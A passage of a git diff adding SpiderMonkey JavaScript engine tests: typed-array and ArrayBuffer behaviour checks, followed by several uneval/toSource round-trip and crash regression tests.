+ var sequence = [ 0, 1, 2, 3 ];
+ let groupsize = 4*3*2*1;
+ let o = order;
+ for (let i = 4; i > 0; i--) {
+ groupsize = groupsize / i;
+ let which = Math.floor(o/groupsize);
+ [ sequence[i-1], sequence[which] ] = [ sequence[which], sequence[i-1] ];
+ o = o % groupsize;
+ }
+
+ for (let i = 0; i < 4; i++) {
+ views[i] = null;
+ gc();
+ }
+ }
+
+ // Multiple buffers with multiple views
+ var views = [];
+ for (let numViews of [ 1, 2, 0, 3, 2, 1 ]) {
+ buffer = new ArrayBuffer(128);
+ for (let viewNum = 0; viewNum < numViews; viewNum++) {
+ views.push(new Int8Array(buffer));
+ }
+ }
+
+ gcparam('markStackLimit', 200);
+ var forceOverflow = [ buffer ];
+ for (let i = 0; i < 1000; i++) {
+ forceOverflow = [ forceOverflow ];
+ }
+ gc();
+ buffer = null;
+ views = null;
+ gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gcslice(3); gc();
+ }
+
+ var buf, buf2;
+
+ buf = new ArrayBuffer(100);
+ check(() => buf);
+ check(() => buf.byteLength == 100);
+
+ buf.byteLength = 50;
+ check(() => buf.byteLength == 100);
+
+ var zerobuf = new ArrayBuffer(0);
+ check(() => zerobuf);
+ check(() => zerobuf.byteLength == 0);
+
+ check(() => (new Int32Array(zerobuf)).length == 0);
+ checkThrows(() => new Int32Array(zerobuf, 1));
+
+ var zerobuf2 = new ArrayBuffer();
+ check(() => zerobuf2.byteLength == 0);
+
+ checkThrows(() => new ArrayBuffer(-100), RangeError);
+ // this is using js_ValueToECMAUInt32, which is giving 0 for "abc"
+ checkThrowsTODO(() => new ArrayBuffer("abc"), TypeError);
+
+ var zeroarray = new Int32Array(0);
+ check(() => zeroarray.length == 0);
+ check(() => zeroarray.byteLength == 0);
+ check(() => zeroarray.buffer);
+ check(() => zeroarray.buffer.byteLength == 0);
+
+ var zeroarray2 = new Int32Array();
+ check(() => zeroarray2.length == 0);
+ check(() => zeroarray2.byteLength == 0);
+ check(() => zeroarray2.buffer);
+ check(() => zeroarray2.buffer.byteLength == 0);
+
+ var a = new Int32Array(20);
+ check(() => a);
+ check(() => a.length == 20);
+ check(() => a.byteLength == 80);
+ check(() => a.byteOffset == 0);
+ check(() => a.buffer);
+ check(() => a.buffer.byteLength == 80);
+
+ var b = new Uint8Array(a.buffer, 4, 4);
+ check(() => b);
+ check(() => b.length == 4);
+ check(() => b.byteLength == 4);
+ check(() => a.buffer == b.buffer);
+
+ b[0] = 0xaa;
+ b[1] = 0xbb;
+ b[2] = 0xcc;
+ b[3] = 0xdd;
+
+ check(() => a[0] == 0);
+ check(() => a[1] != 0);
+ check(() => a[2] == 0);
+
+ buf = new ArrayBuffer(4);
+ check(() => (new Int8Array(buf)).length == 4);
+ check(() => (new Uint8Array(buf)).length == 4);
+ check(() => (new Int16Array(buf)).length == 2);
+ check(() => (new Uint16Array(buf)).length == 2);
+ check(() => (new Int32Array(buf)).length == 1);
+ check(() => (new Uint32Array(buf)).length == 1);
+ check(() => (new Float32Array(buf)).length == 1);
+ checkThrows(() => (new Float64Array(buf)));
+ buf2 = new ArrayBuffer(8);
+ check(() => (new Float64Array(buf2)).length == 1);
+
+ buf = new ArrayBuffer(5);
+ check(() => buf);
+ check(() => buf.byteLength == 5);
+
+ check(() => new Int32Array(buf, 0, 1));
+ checkThrows(() => new Int32Array(buf, 0));
+ check(() => new Int8Array(buf, 0));
+
+ check(() => (new Int8Array(buf, 3)).byteLength == 2);
+ checkThrows(() => new Int8Array(buf, 500));
+ checkThrows(() => new Int8Array(buf, 0, 50));
+ checkThrows(() => new Float32Array(buf, 500));
+ checkThrows(() => new Float32Array(buf, 0, 50));
+
+ var sl = a.subarray(5,10);
+ check(() => sl.length == 5);
+ check(() => sl.buffer == a.buffer);
+ check(() => sl.byteLength == 20);
+ check(() => sl.byteOffset == 20);
+
+ check(() => a.subarray(5,5).length == 0);
+ check(() => a.subarray(-5).length == 5);
+ check(() => a.subarray(-100).length == 20);
+ check(() => a.subarray(0, 2).length == 2);
+ check(() => a.subarray().length == a.length);
+ check(() => a.subarray(-7,-5).length == 2);
+ check(() => a.subarray(-5,-7).length == 0);
+ check(() => a.subarray(15).length == 5);
+
+ a = new Uint8Array([0xaa, 0xbb, 0xcc]);
+ check(() => a.length == 3);
+ check(() => a.byteLength == 3);
+ check(() => a[1] == 0xbb);
+
+ // not sure if this is supposed to throw or to treat "foo"" as 0.
+ checkThrowsTODO(() => new Int32Array([0xaa, "foo", 0xbb]), Error);
+
+ checkThrows(() => new Int32Array(-100));
+
+ a = new Uint8Array(3);
+ // XXX these are ignored now and return undefined
+ //checkThrows(() => a[5000] = 0, RangeError);
+ //checkThrows(() => a["hello"] = 0, TypeError);
+ //checkThrows(() => a[-10] = 0, RangeError);
+ check(() => (a[0] = "10") && (a[0] == 10));
+
+ // check Uint8ClampedArray, which is an extension to this extension
+ a = new Uint8ClampedArray(4);
+ a[0] = 128;
+ a[1] = 512;
+ a[2] = -123.723;
+ a[3] = "foopy";
+
+ check(() => a[0] == 128);
+ check(() => a[1] == 255);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+
+ // check handling of holes and non-numeric values
+ var x = Array(5);
+ x[0] = "hello";
+ x[1] = { };
+ //x[2] is a hole
+ x[3] = undefined;
+ x[4] = true;
+
+ a = new Uint8Array(x);
+ check(() => a[0] == 0);
+ check(() => a[1] == 0);
+ check(() => a[2] == 0);
+ check(() => a[3] == 0);
+ check(() => a[4] == 1);
+
+ a = new Float32Array(x);
+ check(() => !(a[0] == a[0]));
+ check(() => !(a[1] == a[1]));
+ check(() => !(a[2] == a[2]));
+ check(() => !(a[3] == a[3]));
+ check(() => a[4] == 1);
+
+ // test set()
+ var empty = new Int32Array(0);
+ a = new Int32Array(9);
+
+ empty.set([]);
+ empty.set([], 0);
+ empty.set(empty);
+
+ checkThrows(() => empty.set([1]));
+ checkThrows(() => empty.set([1], 0));
+ checkThrows(() => empty.set([1], 1));
+
+ a.set([]);
+ a.set([], 3);
+ a.set([], 9);
+ a.set(a);
+
+ a.set(empty);
+ a.set(empty, 3);
+ a.set(empty, 9);
+ a.set(Array.prototype);
+ checkThrows(() => a.set(empty, 100));
+
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10]));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0x7fffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6,7,8,9,10], 0xffffffff));
+ checkThrows(() => a.set([1,2,3,4,5,6], 6));
+
+ checkThrows(() => a.set(new Array(0x7fffffff)));
+ checkThrows(() => a.set([1,2,3], 2147483647));
+
+ a.set(ArrayBuffer.prototype);
+ checkThrows(() => a.set(Int16Array.prototype), TypeError);
+ checkThrows(() => a.set(Int32Array.prototype), TypeError);
+
+ a.set([1,2,3]);
+ a.set([4,5,6], 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+
+ b = new Float32Array([7,8,9]);
+ a.set(b, 0);
+ a.set(b, 3);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 0 && a[7] == 0 && a[8] == 0);
+ a.set(a.subarray(0,3), 6);
+ check(() =>
+ a[0] == 7 && a[1] == 8 && a[2] == 9 &&
+ a[3] == 7 && a[4] == 8 && a[5] == 9 &&
+ a[6] == 7 && a[7] == 8 && a[8] == 9);
+
+ a.set([1,2,3,4,5,6,7,8,9]);
+ a.set(a.subarray(0,6), 3);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 1 && a[4] == 2 && a[5] == 3 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a.set(a.subarray(3,9), 0);
+ check(() =>
+ a[0] == 1 && a[1] == 2 && a[2] == 3 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ // verify that subarray() returns a new view that
+ // references the same buffer
+ a.subarray(0,3).set(a.subarray(3,6), 0);
+ check(() =>
+ a[0] == 4 && a[1] == 5 && a[2] == 6 &&
+ a[3] == 4 && a[4] == 5 && a[5] == 6 &&
+ a[6] == 4 && a[7] == 5 && a[8] == 6);
+
+ a = new ArrayBuffer(0x10);
+ checkThrows(() => new Uint32Array(buffer, 4, 0x3FFFFFFF));
+
+ check(() => new Float32Array(null).length === 0);
+
+ a = new Uint8Array(0x100);
+ b = Uint32Array.prototype.subarray.apply(a, [0, 0x100]);
+ check(() => Object.prototype.toString.call(b) === "[object Uint8Array]");
+ check(() => b.buffer === a.buffer);
+ check(() => b.length === a.length);
+ check(() => b.byteLength === a.byteLength);
+ check(() => b.byteOffset === a.byteOffset);
+ check(() => b.BYTES_PER_ELEMENT === a.BYTES_PER_ELEMENT);
+
+ // webidl section 4.4.6, getter bullet point 2.2: prototypes are not
+ // platform objects, and calling the getter of any attribute defined on the
+ // interface should throw a TypeError according to
+ checkThrows(() => ArrayBuffer.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.length, TypeError);
+ checkThrows(() => Int32Array.prototype.byteLength, TypeError);
+ checkThrows(() => Int32Array.prototype.byteOffset, TypeError);
+ checkThrows(() => Float64Array.prototype.length, TypeError);
+ checkThrows(() => Float64Array.prototype.byteLength, TypeError);
+ checkThrows(() => Float64Array.prototype.byteOffset, TypeError);
+
+ // webidl 4.4.6: a readonly attribute's setter is undefined. From
+ // observation, that seems to mean it silently does nothing, and returns
+ // the value that you tried to set it to.
+ check(() => Int32Array.prototype.length = true);
+ check(() => Float64Array.prototype.length = true);
+ check(() => Int32Array.prototype.byteLength = true);
+ check(() => Float64Array.prototype.byteLength = true);
+ check(() => Int32Array.prototype.byteOffset = true);
+ check(() => Float64Array.prototype.byteOffset = true);
+
+ // ArrayBuffer, Int32Array and Float64Array are native functions and have a
+ // .length, so none of these should throw:
+ check(() => (new Int32Array(ArrayBuffer)).length >= 0);
+ check(() => (new Int32Array(Int32Array)).length >= 0);
+ check(() => (new Int32Array(Float64Array)).length >= 0);
+
+ // webidl 4.4.6, under getters: "The value of the Function object’s
+ // 'length' property is the Number value 0"
+ //
+ // Except this fails in getOwnPropertyDescriptor, I think because
+ // Int32Array.prototype does not provide a lookup hook, and the fallback
+ // case ends up calling the getter. Which seems odd to me, but much of this
+ // stuff baffles me. It does seem strange that there's no way to do
+ // getOwnPropertyDescriptor on any of these attributes.
+ //
+ //check(Object.getOwnPropertyDescriptor(Int32Array.prototype, 'byteOffset')['get'].length == 0);
+
+ check(() => Int32Array.BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(4)).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array()).BYTES_PER_ELEMENT == 4);
+ check(() => (new Int32Array(0)).BYTES_PER_ELEMENT == 4);
+ check(() => Int16Array.BYTES_PER_ELEMENT == Uint16Array.BYTES_PER_ELEMENT);
+
+ // test various types of args; numberToDouble(2) is used to ensure that the
+ // function gets a double, and not a demoted int
+ check(() => (new Float32Array(numberToDouble(2))).length == 2);
+ check(() => (new Float32Array({ length: 10 })).length == 10);
+ check(() => (new Float32Array({})).length == 0);
+ check(() => new Float32Array("3").length === 3);
+ check(() => new Float32Array(null).length === 0);
+ check(() => new Float32Array(undefined).length === 0);
+
+ // check that NaN conversions happen correctly with array conversions
+ check(() => (new Int32Array([NaN])[0]) == 0);
+ check(() => { var q = new Float32Array([NaN])[0]; return q != q; });
+
+ // check that setting and reading arbitrary properties works
+ // this is not something that will be done in real world
+ // situations, but it should work when done just like in
+ // regular objects
+ buf = new ArrayBuffer(128);
+ a = new Uint32Array(buf, 0, 4);
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+ buf.a = 42;
+ buf.b = "abcdefgh";
+ buf.c = {a:'literal'};
+ check(() => a[0] == 0 && a[1] == 0 && a[2] == 0 && a[3] == 0);
+
+ check(() => buf.a == 42);
+ delete buf.a;
+ check(() => !buf.a);
+
+ // check edge cases for small arrays
+ // 16 reserved slots
+ a = new Uint8Array(120);
+ check(() => a.byteLength == 120);
+ check(() => a.length == 120);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ a = new Uint8Array(121);
+ check(() => a.byteLength == 121);
+ check(() => a.length == 121);
+ for (var i = 0; i < a.length; i++)
+ check(() => a[i] == 0)
+
+ // check that TM generated byte offset is right (requires run with -j)
+ a = new Uint8Array(100);
+ a[99] = 5;
+ b = new Uint8Array(a.buffer, 9); // force a offset
+ // use a loop to invoke the TM
+ for (var i = 0; i < b.length; i++)
+ check(() => b[90] == 5)
+
+ // Protos and proxies, oh my!
+ var alien = newGlobal({newCompartment: true});
+
+ var alien_view = alien.eval('view = new Uint8Array(7)');
+ var alien_buffer = alien.eval('buffer = view.buffer');
+
+ // when creating a view of a buffer in a different compartment, the view
+ // itself should be created in the other compartment and wrapped for use in
+ // this compartment. (There should never be a compartment boundary between
+ // an ArrayBufferView and its ArrayBuffer.)
+ var view = new Int8Array(alien_buffer);
+
+ // First make sure they're looking at the same data
+ alien_view[3] = 77;
+ check(() => view[3] == 77);
+
+ // Now check that the proxy setup is as expected in the cross-compartment
+ // case.
+ if (isProxy(alien)) {
+ check(() => isProxy(alien_view));
+ check(() => isProxy(alien_buffer));
+ check(() => isProxy(view)); // the real test
+ }
+
+ // cross-realm property access
+ check(() => alien_buffer.byteLength == 7);
+ check(() => alien_view.byteLength == 7);
+ check(() => view.byteLength == 7);
+
+ // typed array protos should be equal
+ simple = new Int8Array(12);
+ check(() => Object.getPrototypeOf(view) == Object.getPrototypeOf(simple));
+ check(() => Object.getPrototypeOf(view) == Int8Array.prototype);
+
+ // Most named properties are defined on %TypedArray%.prototype.
+ check(() => !simple.hasOwnProperty('byteLength'));
+ check(() => !Int8Array.prototype.hasOwnProperty('byteLength'));
+ check(() => Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty('byteLength'));
+
+ check(() => !simple.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => Int8Array.prototype.hasOwnProperty("BYTES_PER_ELEMENT"));
+ check(() => !Object.getPrototypeOf(Int8Array.prototype).hasOwnProperty("BYTES_PER_ELEMENT"));
+
+ // crazy as it sounds, the named properties are configurable per WebIDL.
+ // But we are currently discussing the situation, and typed arrays may be
+ // pulled into the ES spec, so for now this is disallowed.
+ if (false) {
+ check(() => simple.byteLength == 12);
+ getter = Object.getOwnPropertyDescriptor(Int8Array.prototype, 'byteLength').get;
+ Object.defineProperty(Int8Array.prototype, 'byteLength', { get: function () { return 1 + getter.apply(this) } });
+ check(() => simple.byteLength == 13);
+ }
+
+ // test copyWithin()
+ var numbers = [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ];
+
+ function tastring(tarray) {
+ return [...tarray].toString();
+ }
+
+ function checkCopyWithin(offset, start, end, dest, want) {
+ var numbers_buffer = new Uint8Array(numbers).buffer;
+ var view = new Int8Array(numbers_buffer, offset);
+ view.copyWithin(dest, start, end);
+ check(() => tastring(view) == want.toString());
+ if (tastring(view) != want.toString()) {
+ print("Wanted: " + want.toString());
+ print("Got : " + tastring(view));
+ }
+ }
+
+ // basic copyWithin [2,5) -> 4
+ checkCopyWithin(0, 2, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // negative values should count from end
+ checkCopyWithin(0, -7, 5, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, -4, 4, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, 2, 5, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+ checkCopyWithin(0, -7, -4, -5, [ 0, 1, 2, 3, 2, 3, 4, 7, 8 ]);
+
+ // offset
+ checkCopyWithin(2, 0, 3, 4, [ 2, 3, 4, 5, 2, 3, 4 ]);
+
+ // clipping
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, -5000, -6000, 1, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(0, 5000, 6000, 0, [ 0, 1, 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, 6000, 0, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, 5000, 6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+ checkCopyWithin(2, -5000, -6000, 1, [ 2, 3, 4, 5, 6, 7, 8 ]);
+
+ checkCopyWithin(2, -5000, 3, 1, [ 2, 2, 3, 4, 6, 7, 8 ]);
+ checkCopyWithin(2, 1, 6000, 0, [ 3, 4, 5, 6, 7, 8, 8 ]);
+ checkCopyWithin(2, 1, 6000, -4000, [ 3, 4, 5, 6, 7, 8, 8 ]);
+
+ testBufferManagement();
+
+ print ("done");
+
+ reportCompare(0, TestFailCount, "typed array tests");
+}
diff --git a/js/src/tests/non262/extensions/uneval/bug496985.js b/js/src/tests/non262/extensions/uneval/bug496985.js
new file mode 100644
index 0000000000..0f68288cc5
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/bug496985.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!this.uneval)
+
+var a = function() {
+ return function ({x: arguments}) {
+ return arguments;
+ }
+}
+var b = eval(uneval(a));
+
+assertEq(a()({x: 1}), 1);
+assertEq(b()({x: 1}), 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/bug566661.js b/js/src/tests/non262/extensions/uneval/bug566661.js
new file mode 100644
index 0000000000..51e142351e
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/bug566661.js
@@ -0,0 +1,8 @@
+// |reftest| skip-if(!this.uneval)
+
+var f = function (q) { return q['\xC7']; }
+var d = eval(uneval(f));
+assertEq(d({'\xC7': 'good'}), 'good');
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/uneval/function-bind.js b/js/src/tests/non262/extensions/uneval/function-bind.js
new file mode 100644
index 0000000000..87f3e957fc
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/function-bind.js
@@ -0,0 +1,32 @@
+// |reftest| skip-if(!this.uneval)
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'function-bind.js';
+var BUGNUMBER = 429507;
+var summary = "ES5: Function.prototype.bind";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq((function unbound(){"body"}).bind().toSource(), `function bound unbound() {
+ [native code]
+}`);
+
+assertEq(uneval((function unbound(){"body"}).bind()), `function bound unbound() {
+ [native code]
+}`);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/uneval/regress-231518.js b/js/src/tests/non262/extensions/uneval/regress-231518.js
new file mode 100644
index 0000000000..fc360f0870
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-231518.js
@@ -0,0 +1,99 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 231518;
+var summary = 'decompiler must quote keywords and non-identifier property names';
+var actual = '';
+var expect = 'no error';
+var status;
+var object;
+var result;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+ status = inSection(1) + ' eval(uneval({"if": false}))';
+
+ try
+ {
+ object = {'if': false };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval({"if": "then"}))';
+
+ try
+ {
+ object = {'if': "then" };
+ result = uneval(object);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(3) + ' eval(uneval(f))';
+
+ try
+ {
+ result = uneval(f);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+ status = inSection(2) + ' eval(uneval(g))';
+
+ try
+ {
+ result = uneval(g);
+ printStatus('uneval returns ' + result);
+ eval(result);
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, status);
+
+function f()
+{
+ var obj = new Object();
+
+ obj['name'] = 'Just a name';
+ obj['if'] = false;
+ obj['some text'] = 'correct';
+}
+
+function g()
+{
+ return {'if': "then"};
+}
+
diff --git a/js/src/tests/non262/extensions/uneval/regress-245795.js b/js/src/tests/non262/extensions/uneval/regress-245795.js
new file mode 100644
index 0000000000..bb5a736039
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-245795.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 245795;
+var summary = 'eval(uneval(function)) should be round-trippable';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function a()
+{
+ b = function() {};
+}
+
+var r = "function a() { b = function() {}; }";
+eval(uneval(a));
+
+var v = a.toString().replace(/[ \n]+/g, ' ');
+print(v)
+
+printStatus("[" + v + "]");
+
+expect = r;
+actual = v;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-254375.js b/js/src/tests/non262/extensions/uneval/regress-254375.js
new file mode 100644
index 0000000000..4640d3e1c8
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-254375.js
@@ -0,0 +1,28 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 254375;
+var summary = 'Object.toSource for negative number property names';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+ try
+ {
+ expect = 'no error';
+ eval(uneval({'-1':true}));
+ actual = 'no error';
+ }
+ catch(e)
+ {
+ actual = 'error';
+ }
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-304897.js b/js/src/tests/non262/extensions/uneval/regress-304897.js
new file mode 100644
index 0000000000..f88bff8445
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-304897.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 304897;
+var summary = 'uneval("\\t"), uneval("\\x09")';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expect = '"\\t"';
+actual = uneval('\t');
+reportCompare(expect, actual, summary);
+
+actual = uneval('\x09');
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-306738.js b/js/src/tests/non262/extensions/uneval/regress-306738.js
new file mode 100644
index 0000000000..71f8b5d014
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-306738.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 306738;
+var summary = 'uneval() on objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+actual = uneval(
+ {
+ get foo()
+ {
+ return "foo";
+ }
+ });
+
+expect = '({get foo()\n\
+ {\n\
+ return "foo";\n\
+ }})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-311583.js b/js/src/tests/non262/extensions/uneval/regress-311583.js
new file mode 100644
index 0000000000..9121b9f4e9
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-311583.js
@@ -0,0 +1,23 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311583;
+var summary = 'uneval(array) should use elision for holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = new Array(3);
+a[0] = a[2] = 0;
+
+actual = uneval(a);
+expect = '[0, , 0]';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-313803.js b/js/src/tests/non262/extensions/uneval/regress-313803.js
new file mode 100644
index 0000000000..3f5c18456a
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-313803.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313803;
+var summary = 'uneval() on func with embedded objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var func = function ff() {
+ obj = { get foo() { return "foo"; }};
+ return 1;
+};
+
+actual = uneval(func);
+
+expect = '(function ff() {\n\
+ obj = { get foo() { return "foo"; }};\n\
+ return 1;\n\
+})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-322957.js b/js/src/tests/non262/extensions/uneval/regress-322957.js
new file mode 100644
index 0000000000..e3b8157b52
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-322957.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322957;
+var summary = 'TryMethod should not eat getter exceptions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { get toSource() { throw "EXCEPTION"; } };
+
+var got_proper_exception = -1;
+
+try {
+ uneval(obj);
+} catch (e) {
+ got_proper_exception = (e === "EXCEPTION");
+}
+
+expect = true;
+actual = got_proper_exception;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-328556.js b/js/src/tests/non262/extensions/uneval/regress-328556.js
new file mode 100644
index 0000000000..c757fad02d
--- /dev/null
+++ b/js/src/tests/non262/extensions/uneval/regress-328556.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!this.uneval)
+
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 328556;
+var summary = 'Do not Assert: growth == (size_t)-1 || (nchars + 1) * sizeof(char16_t) == growth, in jsarray.c';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var D = [];
+D.foo = D;
+uneval(D);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/extensions/uneval/regress-358594-01.js b/js/src/tests/non262/extensions/uneval/regress-358594-01.js
new file mode 100644
index 0000000000..e5b22a575c
